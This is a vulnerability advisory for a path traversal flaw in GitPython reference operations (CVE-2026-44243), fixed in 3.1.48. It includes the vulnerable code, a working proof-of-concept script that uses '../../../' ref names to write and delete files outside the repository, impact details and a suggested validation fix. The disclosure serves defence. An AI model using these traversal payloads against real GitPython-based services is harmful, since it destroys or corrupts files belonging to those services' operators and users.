CVE-2026-44243

Open Source Vulnerabilities GHSA-7545-fcxq-7j24

## 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ## 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ## 🧠 Details ### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ## 🧪 Proof of Concept ### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ## 💥 Impact ### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ## 🛠️ Mitigation / Fix ### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ```

Open Source Vulnerabilities PYSEC-2026-2162

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.

Open Source Vulnerabilities CVE-2026-44243

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.